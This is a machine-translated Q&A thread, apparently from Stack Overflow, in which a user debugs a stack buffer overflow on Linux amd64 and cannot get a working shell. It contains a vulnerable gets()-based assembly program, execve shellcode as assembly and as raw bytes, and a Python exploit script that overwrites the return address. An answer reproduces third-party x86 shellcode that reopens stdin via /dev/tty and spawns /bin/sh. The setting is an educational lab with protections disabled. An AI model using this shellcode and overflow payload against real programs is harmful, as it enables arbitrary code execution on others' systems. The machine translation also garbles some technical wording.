shellcode for spel verclow: برنامج مستغل مع shell ينتهي مباشرة بعد execve ("/bin/sh")
-
30-09-2019 - |
سؤال
لقد لعبت مع الفائض المخزن المؤقت على Linux (AMD64) وحاولت استغلال برنامج بسيط ، لكنه فشل. لقد قمت بتعطيل ميزات الأمان (توزيع العشوائية لفضاء مساحة مع SYSCTL -W kernel.randomize_va_space = 0 و Nx bit في BIOS). إنه يقفز إلى المكدس وينفذ رمز الصدفة ، لكنه لا يبدأ قذيفة. ينجح Syscall Execve ولكن بعد ذلك ينتهي فقط. أي فكرة ما هو الخطأ؟ تشغيل shellcode المستقل يعمل على ما يرام.
سؤال المكافأة: لماذا أحتاج إلى ضبط Rax على الصفر قبل استدعاء PrintF؟ (انظر التعليق في الكود)
ملف الضعف مخازن:
.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
push %rbp
mov %rsp, %rbp
sub $120, %rsp
# calling printf without setting rax
# to zero results in a segfault. why?
xor %rax, %rax
mov %rsp, %rsi
mov $.fmtsp, %rdi
call printf
mov %rsp, %rdi
call gets
xor %rax, %rax
mov $.fmtjump, %rdi
mov 8(%rbp), %rsi
call printf
xor %rax, %rax
leave
ret
shellcode.s
.text
.global main
main:
mov $0x68732f6e69622fff, %rbx
shr $0x8, %rbx
push %rbx
mov %rsp, %rdi
xor %rsi, %rsi
xor %rdx, %rdx
xor %rax, %rax
add $0x3b, %rax
syscall
exploit.py
shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output
تم تجميعها مع:
$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s
بدأت مع:
$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328
تصحيح الأخطاء مع GDB:
$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash
Program exited normally.
المحلول
أواجه نفس المشكلة الآن مع Ubuntu 9.10 في VM. تعطيل جميع القياسات الأمنية لنظام التشغيل ، ومآثر بسيطة مثل "الخروج من البرنامج وتعيين رمز الخروج إلى 42" تعمل ، ولكن عند محاولة فتح قذيفة ، ينتهي البرنامج فقط. إخراج GDB متطابق:
(gdb) run < exploit.0xbffff3b8 Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8 Enter password: Sorry. Wrong password. Executing new program: /bin/bash Program exited normally. (gdb)
الشيء هو ، أنا بحاجة إلى العمل في تقريبا. 16 ساعة لعرض تقديمي: D
تحديث: لقد وجدت هذه الدراسة الأنيقة: www.shell-storm.org/papers/files/539.pdf
في الصفحة 16 تقول: "إذا حاولنا تنفيذ قذيفة ، فإنه ينتهي فورًا في هذا التكوين"
في أمثلة أخرى لا تستخدم GET () ، فإنها تعمل بشكل جيد للغاية على قذيفة. لسوء الحظ ، لا يعطون تلميحًا حول سبب عدم عمله بهذه الطريقة. :(
التحديث التالي: يبدو أن الأمر يتعلق بـ Stdin. لا يمكن للقشرة استخدام تلك التي تحصل عليها بشكل صحيح من العملية الأصلية. حاولت استخدام قذيفة الحد الأدنى وجدت رمز sourcecode لـ (Evilsh). تحطمت عند النقطة التي حاولت قراءة الإدخال. أظن أن هذا Bash/Dash يتحقق من هذا ويخرج بصمت عندما يكون هناك خطأ ما في Stdin.
حسنًا ، من فضلك لا تقتلني لتجري هذه المحادثة مع نفسي هنا ، لكن ...
لقد وجدت حل!
لسبب ما من الضروري إعادة فتح المدخلات. لقد وجدت رمز قشرة العمل هنا:
http://www.milw0rm.com/shellcode/2040
لا أرى موجهًا صعبًا ، لكن يمكنني تشغيل البرامج وما إلى ذلك. باستخدام القشرة التي تفتح.
نصائح أخرى
الرابط الذي توفره Zenoc قد مات ، ولكن لا يزال من الممكن العثور عليه في آلة Wayback. للراحة ، لقد استنسخت أدناه. اضطررت إلى تضمين add $0x10,%esp
في الجزء العلوي لإعطائي مساحة أكبر ، مثل كل push
ES في الكود أكلت في المخزن المؤقت حيث تم تخزين رمز shellcode الخاص بي. إذا كنت ترغب في تضمين ذلك على رمز shellcode أيضًا ، فما عليك سوى إضافة " x83 xc4 x10" إلى البداية. رمز shellcode هو 55 بايت دون إضافتي ، و 58 مع.
/*
* $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
*
* gets-linux.c - stdin re-open shellcode for Linux/x86
* Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Local shellcode for stdin re-open and /bin/sh exec. It closes stdin
* descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
* Useful to exploit some gets() buffer overflows in an elegant way...
*/
/*
* close(0)
*
* 8049380: 31 c0 xor %eax,%eax
* 8049382: 31 db xor %ebx,%ebx
* 8049384: b0 06 mov $0x6,%al
* 8049386: cd 80 int $0x80
*
* open("/dev/tty", O_RDWR | ...)
*
* 8049388: 53 push %ebx
* 8049389: 68 2f 74 74 79 push $0x7974742f
* 804938e: 68 2f 64 65 76 push $0x7665642f
* 8049393: 89 e3 mov %esp,%ebx
* 8049395: 31 c9 xor %ecx,%ecx
* 8049397: 66 b9 12 27 mov $0x2712,%cx
* 804939b: b0 05 mov $0x5,%al
* 804939d: cd 80 int $0x80
*
* execve("/bin/sh", ["/bin/sh"], NULL)
*
* 804939f: 31 c0 xor %eax,%eax
* 80493a1: 50 push %eax
* 80493a2: 68 2f 2f 73 68 push $0x68732f2f
* 80493a7: 68 2f 62 69 6e push $0x6e69622f
* 80493ac: 89 e3 mov %esp,%ebx
* 80493ae: 50 push %eax
* 80493af: 53 push %ebx
* 80493b0: 89 e1 mov %esp,%ecx
* 80493b2: 99 cltd
* 80493b3: b0 0b mov $0xb,%al
* 80493b5: cd 80 int $0x80
*/
char sc[] =
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
main()
{
int (*f)() = (int (*)())sc; f();
}
// milw0rm.com [2006-07-20]
ملاحظة: لم أستطع إضافة هذا كتحرير إلى إجابة Zenoc لأن قائمة انتظار التحرير ممتلئة.
إذا كنت تواجه مشكلة في تحديد عنوان رمز الصدفة الخاص بك بسبب اختلاف المداخن في المحطة و gdb
, ، ألق نظرة على إجابتي هنا.